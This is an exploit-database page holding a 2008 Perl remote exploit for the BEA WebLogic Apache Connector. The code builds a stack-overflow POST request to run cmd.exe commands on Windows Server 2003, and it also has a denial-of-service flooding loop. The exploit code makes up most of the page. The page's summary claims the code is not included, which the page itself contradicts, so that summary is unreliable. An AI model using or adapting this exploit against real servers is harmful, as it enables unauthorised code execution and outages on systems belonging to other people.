header-logo
Suggest Exploit
vendor:
Weblogic
by:
KingCope
7.5
CVSS
HIGH
Remote Code Execution
CWE
Product Name: Weblogic
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows Server 2003
2008

Bea Weblogic — Apache Connector Remote Exploit +-1day

This exploit targets Bea Weblogic Apache Connector and allows remote code execution. The exploit works on Windows Server 2003 with address space randomization disabled. The code for the exploit is not provided in this text.

Mitigation:

Source

Exploit-DB raw data:

#// Bea Weblogic -- Apache Connector Remote Exploit +-1day
#// Should stack break latest Windows Server 2003 <address space randomization>
#// BIG THANKS TO 
#// "dong-hun you"(Xpl017Elz) in INetCop - for his paper
#// "Title: Advanced exploitation in exec-shield (Fedora Core case study)"
#// His technique works fine against Windows 2003 latest version.
#//
#// The code is broken, since I am chilling out for now
#// SKIDDI BULLETPROOF
#// You may fixup the DoS Code, Windows Code Works on English OSs
#// KingCope -- July/2008

use IO::Socket;
use strict;

$|=1;
my $apacheport = 80;	#// Touch
###
my $wrongusage = 0;
my $dodoshost = 0;

###############################################################################
### Target List Entries |Operating System and Patch Level / Kernel Version|
###############################################################################
my @targets = ();
my @tgtname = ();
print "-" x 80;
$targets[0] = "1 Windows Server 2003 Enterprise Edition SP2 RC1 -- English\n";
$tgtname[0] = $targets[0];
$targets[100] = "2 Denial of Service\n";
$tgtname[100] = $targets[100];

###############################################################################
### Print Of Target List And Usage
###############################################################################
print "\n";

print "Bea Weblogic -- Apache Connector Remote Exploit\n\n";
print "Target List:\n";

foreach my $target (@targets) {	
	print $target;
}
print "\n\n";
print "-" x 80;
print "Usage: perl bea-unlock.pl <hostname or ip> <target>";
print "\n";

printusage:
if ($wrongusage == 1) {	exit; }

################################################################################
### Argument Parsing
################################################################################
my $host = $ARGV[0];
my $target = $ARGV[1];

if (($host == "") || ($target == "")) {
	$wrongusage = 1;
	goto printusage;
}

################################################################################
### Setup Socket
################################################################################
setupsocket:
my $sock = IO::Socket::INET->new(PeerAddr => $host,
                           	     PeerPort => $apacheport,
   	                             Proto    => 'tcp');
if ($dodoshost == 1) {
	goto doshost;	
}
################################################################################
### Select Target
################################################################################
if ($target == 1) {
	print "Exploiting $host -- " . $tgtname[$target-1];
	goto winexpl;
}

if ($target == 2) {
    print "Attacking Host $host -- Denial of Service -- Wait ...\n";
	goto doshost;
}

################################################################################
### Exploitation of Windows Versions
################################################################################
winexpl:
####WORKS [LOOKUP THE HOSTNAME]
my $command = "echo works > c:\\desiredfile.txt";
			 
my $cmds = "cmd.exe /c \"$command\"|";

my $sc = $cmds;

#### STACKBREAKING WITH WINEXEC() ON WINDOWS

my $c = "C" x 97 . pack("L", 0x10013930) x 3 . pack("L", 0x10013930) . pack("L", 0x10013931) . pack("L",0x77EA411E);
my $a = $cmds . "A" x (4000-length($cmds)) . $c;

print $sock "POST /.jsp $a\r\nHost: localhost\r\n\r\n";

while (<$sock>) {	
	print;
}
################################################################################
### Denial of Service Against The Apache Frontend Module For Bea Weblogic
################################################################################
####NEEDS SOME FIXUP
doshost:
$dodoshost = 1;

while(1) {
	$a = "A" x 6000;
	goto setupsocket;
	print $sock "POST /.jsp $a\r\n\r\nHost: localhost\r\n\r\n";
	while(read($sock,$_,100)) {
		my $dosagain = 0;
		
		if ($dosagain eq 1) {
				"Server is down now\n";
				exit;
		}
		
		if ($_ =~ /Server/) {
			print ".";
			$dosagain = 1;
			next;
		}
	}
}

# milw0rm.com [2008-07-17]